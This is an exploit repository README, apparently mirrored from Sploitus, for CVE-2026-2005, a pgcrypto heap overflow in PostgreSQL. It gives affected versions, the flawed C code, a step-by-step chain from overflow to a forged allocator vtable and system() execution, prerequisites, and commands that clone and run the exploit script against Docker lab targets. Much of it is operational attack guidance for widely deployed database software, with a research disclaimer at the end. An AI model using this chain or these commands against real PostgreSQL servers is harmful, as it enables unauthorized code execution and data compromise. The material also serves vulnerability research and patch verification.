Share
## https://sploitus.com/exploit?id=751B640D-0553-5C7C-8078-DF916AE09578
# CVE-2026-2005 โ€” PostgreSQL pgcrypto Heap Overflow โ†’ RCE

Remote code execution via a single SQL query targeting PostgreSQL's `pgcrypto` extension. The vulnerability is a heap buffer overflow in `pgp_parse_pubenc_sesskey()` that allows corruption of PostgreSQL's internal `MemoryContext` allocator metadata, achieving arbitrary code execution as the `postgres` user.

| | |
|---|---|
| CVE | [CVE-2026-2005](https://nvd.nist.gov/vuln/detail/CVE-2026-2005) |
| Component | `contrib/pgcrypto/pgp-pubdec.c` |
| CWE | CWE-122 (Heap-based buffer overflow) |
| CVSSv3.1 | 8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) |
| Affected | PostgreSQL 14.0โ€“14.20, 15.0โ€“15.15, 16.0โ€“16.11, 17.0โ€“17.7, 18.0โ€“18.1 |
| Fixed | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Disclosed | 2026-02-12 |
| Fix commit | `379695d3cc70d040b547d912ce4842090d917ece` |

## Proof of Exploitation

![Target verification](screenshots/01-target-verification.png)

![Exploit execution](screenshots/02-exploit-fire.png)

![RCE proof](screenshots/03-rce-proof.png)

## Quick Start

```bash
git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# Wait ~5s for postgres to initialize
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit
```

![Full exploitation run](screenshots/04-full-run.png)

## Root Cause

```c
// contrib/pgcrypto/pgp-pubdec.c โ€” pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3;                       // attacker-controlled
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len);    // sess_key is uint8[32]
```

`ctx->sess_key` is a fixed 32-byte buffer embedded in a heap-allocated `PGP_Context` struct. A crafted PGP message with an oversized RSA-encrypted session key drives `sess_key_len` up to ~200 bytes, overflowing into adjacent heap allocations. The fix adds a `sess_key_len > PGP_MAX_KEY` bounds check.

## Exploit Chain

1. **Heap overflow** โ€” 148-byte overflow past `sess_key[32]` writes fake allocator metadata into the adjacent `MBuf` allocation
2. **Skip bzero** โ€” Sets `MBuf->data = NULL` so `explicit_bzero` is skipped during cleanup
3. **Fake chunk header** โ€” Forged `hdrmask` decodes to `blockoffset=64`, redirecting the block pointer to attacker-controlled data
4. **Freelist write** โ€” `AllocSetFree` writes the chunk address to `MC+16` (the `MemoryContext->methods` field), replacing the vtable pointer
5. **Error return** โ€” pgcrypto returns a normal error (no crash), triggering PostgreSQL's error handler
6. **VTable hijack** โ€” `MemoryContextDelete(MC)` calls `methods->delete_context(MC)` through our fake vtable โ†’ `system(MC)`
7. **Command execution** โ€” `system()` reads the `MemoryContext` struct as a string: `NodeTag 0x1D5` = `"\xd5\x01\x00\x00"` โ†’ executes `/usr/local/bin/\xd5\x01`

## Prerequisites

- Authenticated database access (any user with EXECUTE on pgcrypto functions โ€” granted to PUBLIC by default)
- `pgcrypto` extension installed (`CREATE EXTENSION pgcrypto`)
- Target-specific addresses (deterministic per Docker image; no PIE ASLR in this container configuration)
- Trigger script pre-planted at `/usr/local/bin/\xd5\x01` (included in `Dockerfile.exploit`)

## Repository Structure

```
โ”œโ”€โ”€ README.md
โ”œโ”€โ”€ poc/
โ”‚   โ”œโ”€โ”€ exploit.py          # Self-contained exploit generator + runner
โ”‚   โ”œโ”€โ”€ gen_exploit_v7.py   # Annotated payload builder
โ”‚   โ”œโ”€โ”€ gen_payload.py      # Crash-only PoC generator (all overflow sizes)
โ”‚   โ”œโ”€โ”€ poc_big.sql         # Pre-generated crash PoC (SIGSEGV)
โ”‚   โ””โ”€โ”€ poc_minimal.sql     # Minimal 4-byte overflow PoC
โ”œโ”€โ”€ lab/
โ”‚   โ”œโ”€โ”€ docker-compose.yml  # Full lab: vuln, patched, debug, exploit
โ”‚   โ”œโ”€โ”€ Dockerfile.exploit  # Release build + trigger script (RCE target)
โ”‚   โ”œโ”€โ”€ Dockerfile.vuln     # Stock vulnerable build (crash demo)
โ”‚   โ”œโ”€โ”€ Dockerfile.debug    # Cassert build (assertion demo)
โ”‚   โ”œโ”€โ”€ init.sql            # Database initialization
โ”‚   โ””โ”€โ”€ setup.sh            # Lab setup helper
โ”œโ”€โ”€ reports/
โ”‚   โ”œโ”€โ”€ RCE-CHAIN.md        # Detailed technical exploitation writeup
โ”‚   โ”œโ”€โ”€ REPORT.md           # Vulnerability analysis report
โ”‚   โ””โ”€โ”€ TODO-FOR-RCE.md     # Development log (completed)
โ”œโ”€โ”€ screenshots/
โ”‚   โ”œโ”€โ”€ 01-target-verification.png
โ”‚   โ”œโ”€โ”€ 02-exploit-fire.png
โ”‚   โ”œโ”€โ”€ 03-rce-proof.png
โ”‚   โ””โ”€โ”€ 04-full-run.png
โ””โ”€โ”€ src/                    # Relevant source snippets
```

## Lab Builds

| Container | Port | Purpose |
|---|---|---|
| `pg-exploit` | 5436 | RCE target (stock 17.7 + trigger script) |
| `pg-vuln` | 5433 | Crash demo (stock 17.7, SIGSEGV) |
| `pg-fixed` | 5434 | Patched build (17.8, rejects payload) |
| `pg-debug` | 5435 | Debug build (cassert SIGABRT with source attribution) |

```bash
# Start all containers
cd lab && docker compose up -d

# Crash demo (SIGSEGV on stock build)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"

# Patched build (rejects gracefully)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big

# Debug build (assertion with file:line)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
```

## Limitations

- **Address-dependent**: Exploit uses hardcoded heap addresses specific to `postgres:17.7-bookworm` Docker image. Different builds/environments require address recalibration (via GDB or info-leak).
- **Warmup required**: A single pgcrypto call (`SELECT digest('x','md5')`) in the same connection stabilizes heap layout before the exploit query.
- **Trigger script**: Requires a binary named `\xd5\x01` in PATH. The Dockerfile pre-installs this. Real-world exploitation would require prior write access or a different ROP/one-gadget approach.
- **Release build only**: Debug builds with `--enable-cassert` abort on assertion before the freelist write.

## Timeline

- 2026-02-12: Vulnerability disclosed by Team Xint Code
- 2026-02-13: Fix committed (`379695d`)
- 2026-02-20: Fixed versions released (17.8, etc.)
- 2026-05-05: RCE exploit developed and proven in lab

## Disclaimer

This exploit is provided for authorized security research and educational purposes only. Use only in controlled lab environments with explicit authorization.